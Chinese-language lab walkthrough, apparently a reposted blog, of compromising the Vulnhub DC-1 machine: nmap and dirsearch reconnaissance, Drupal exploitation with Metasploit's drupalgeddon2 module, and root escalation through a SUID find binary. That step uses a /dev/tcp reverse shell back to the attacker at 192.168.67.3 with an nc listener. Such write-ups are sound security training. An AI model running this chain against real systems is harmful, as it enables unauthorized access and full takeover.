当前位置: 首页 > news >正文

[Vulnhub靶机] DC-1

[Vulnhub靶机] DC-1靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/dc/DC-1.zip


靶机地址:192.168.67.28

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口22、80、111及其服务ssh、http、rpcbind

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

3.访问网站,发现网站是Drupal网站,通过插件也可以查看出该网站是Drupal网站

Drupal是一个免费开源的内容管理系统(CMS),它允许个人和组织轻松创建和管理各种类型的网站,包括企业网站、博客、论坛、社交网络和电子商务平台等。Drupal提供了强大的功能和灵活的架构,使得用户可以根据自己的需求定制网站。

4.使用dirsearch工具扫描网站目录,得到多个可访问页面,但对多个网页进行访问之后没有发现能够利用到的信息

dirsearch -u 靶机URL -i HTTP响应码

        -u        指定目标URL

        -i         设置HTTP响应码的过滤条件

200响应码是最常见的成功响应码之一,它表示请求成功完成,服务器没有发生错误,并且返回了客户端期望的结果。例如,当你在浏览器中输入一个网址,成功加载网页时,通常会收到一个200响应码。

5.使用 searchsploit 工具对 Drupal CMS框架漏洞进行查询,翻找查看有用的信息,确定存在漏洞

二、漏洞利用

1.使用 msfconsole 命令进入 Metasploit 框架的命令行界面

msfconsole 是 Metasploit 框架的命令行界面,它提供了一个强大的工具集,用于开展渗透测试、漏洞利用和网络安全评估工作

2.使用 search 命令来搜索漏洞利用模块

3.经过测试发现 exploit/unix/webapp/drupal_drupalgeddon2 模块可以被利用,使用 use 命令来选择指定的漏洞利用模块

三、反弹shell

1.查看需要配置的参数,并对模块参数进行配置,并再次查看配置参数进行检查(要检查好确认配置成功)

show options                查看配置参数

set 属性名                    对参数进行配置

2.配置完成,运行命令获取目标靶机的shell,通过命令打开交互式界面

run或exploit        执行漏洞模块命令

run或exploit命令的区别:

        exploit命令用于选择并执行一个特定的漏洞利用模块。当你在Metasploit中找到了一个适合目标系统的漏洞利用模块后,你可以使用exploit命令来执行该模块,尝试利用目标系统上的漏洞。这个命令通常用于实际的攻击过程,以获取对目标系统的访问权限或控制权。

        run命令则用于执行当前已选定的模块或脚本。在Metasploit中,可以通过一系列的操作来选择并配置一个模块,然后使用run命令来执行该模块。这个命令通常用于执行各种辅助模块、扫描模块、信息收集模块等,并非直接用于实施攻击。

3.通过 shell 命令打开交互式界面

shell -t                打开交互式界面(在meterpreter界面执行)

shell -t 命令的作用是创建一个交互式的本地shell。这个命令允许用户在受感染的系统上执行命令,并与目标系统进行交互。

四、提权

1.使用 find 命令寻找suid程序,发现 find 命令具有 suid 权限

find / -perm -4000 2>/dev/null 或 find / -perm -u=s 2>/dev/null

        -perm         按照权限查找文件(4000、2000、1000分别表示SUID,SGID,SBIT权限,如777为普通文件最高权限,7000为特殊文件的最高权限)

使用find命令的时候在命令后加 2>/dev/null 将错误结果输出重定向到/dev/null中,/dev/null是一个特殊的设备文件,其实质为空设备文件,其大小是0字节,所有人都有读写权限,而其主要作用就是将接收的一切输出给它的数据并丢弃,就像垃圾桶,也被称为位桶(bit bucket)

2.尝试利用 find 命令执行 whoami 命令,发现成功以 root 权限执行

find `which find` -exec whoami \;

        -exec        在找到的每个文件上执行指定的命令(\;是-exec选项的一部分,表示命令结尾)

which find        查找 find 命令的文件路径

``在linux中可以用来执行命令,且会优先执行

3.在攻击机使用 nc 工具开启监听

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

4.利用 find 命令反弹shell进行提权,成功反弹shell

find `which find` -exec bash -ip >& /dev/tcp/192.168.67.3/7777 0>&1 \;

利用 find 命令调用 bash 进行反弹shell

bash -ip >& /dev/tcp/192.168.67.3/7777 0>&1

        -i                启动一个交互式的 bash shell

        -p               以特权模式启动 bash shell

/dev/tcp  打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

具体可查看:花一天时间搞懂反弹shell的命令!bash -i >& /dev/tcp/${HOST}/${PORT} 0>&1!-CSDN博客

5.使用命令查看当前用户,发现成功提权至 root 权限

http://www.lryc.cn/news/280280.html

相关文章:

  • 【springboot 中集成 knife4j 时,报错 No mapping for GET /doc.html】
  • C++ 具名要求-全库范围的概念 -谓词(Predicate)-二元谓词(BinaryPredicate)
  • MyBatis-Plus不写任何resultMap和SQL执行一对一、一对多、多对多关联查询
  • arcgis javascript api4.x加载天地图web墨卡托(wkid:3857)坐标系
  • 中职组安全-win20230217-环境-解析
  • PMP学习考试经验总结
  • leetcode206.反转链表
  • python每日学17:控制推导逻辑的子表达式不要超过两个
  • 地质时间与数值模拟时间转换(mm/Ma-->m/s)
  • linux文件描述符管理
  • 谷歌翻译不能使用 host添加IP
  • Redis命令 - Lists命令组常用命令
  • 切分大文件sql为小份
  • 最新版CleanMyMac X4.14.7智能清理mac磁盘垃圾工具
  • 数据割据:当代社会数据治理的挑战
  • 逻辑回归(解决分类问题)
  • 论文阅读:Feature Refinement to Improve High Resolution Image Inpainting
  • 结构型设计模式——适配器模式
  • 三菱FX系列PLC定长切割控制(线缆裁切)
  • GPT编程:运行第一个聊天程序
  • NLP论文阅读记录 - WOS | ROUGE-SEM:使用ROUGE结合语义更好地评估摘要
  • vscode 创建文件自动添加注释信息
  • JVM内存区域详解,一文弄懂JVM内存【内存分布、回收算法、垃圾回收器】
  • uniapp搜索附近蓝牙信标(iBeacon)
  • Redis 常见数据结构以及使用场景分析
  • LMDeploy 大模型量化部署实践
  • 15个为你的品牌增加曝光的维基百科推广方法-华媒舍
  • 启动redis出现Creating Server TCP listening socket 127.0.0.1:6379: bind: No error异常
  • 响应式编程Reactor优化Callback回调地狱
  • React项目实战--------极客园项目PC端